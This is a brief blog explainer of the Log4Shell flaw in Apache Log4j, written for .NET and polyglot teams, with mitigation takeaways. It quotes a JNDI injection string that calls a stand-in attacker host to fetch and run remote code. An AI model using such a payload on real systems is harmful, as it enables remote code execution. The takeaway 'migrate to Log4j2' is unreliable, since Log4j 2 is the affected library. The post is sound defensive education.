Log4Shell Explained (CVE-2021-44228)

On this page

Log4Shell is arguably the worst vulnerability in a decade. The Apache Log4j library (Java) allowed remote code execution via a simple log message injection. .NET is not affected, but understanding this is critical for polyglot teams.

The Exploit

A malicious string like `${jndi:ldap://attacker.com/a}` in a log message triggers a JNDI lookup, downloading and executing a remote class.

Why .NET is Safe

.NET’s logging libraries (Serilog, NLog, Microsoft.Extensions.Logging) do not interpret log format strings as executable expressions.

Key Takeaways

  • Audit all Java-based dependencies in your ecosystem.
  • Use WAF rules to block JNDI patterns in headers/inputs.
  • Patch Log4j to 2.17.0+ or migrate to Log4j2.

Discover more from C4: Container, Code, Cloud & Context

Subscribe to get the latest posts sent to your email.

Written by

Nithin Mohan TK

Hello Namaste! 👋🏻 I'm an accomplished Enterprise Solution Architect & Engineering Leader with 20+ years of progressive experience architecting, building, and scaling transformative enterprise solutions. ⚜️ Solution Architect / AI & Cloud 📌 Galway, Ireland

Leave a comment

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.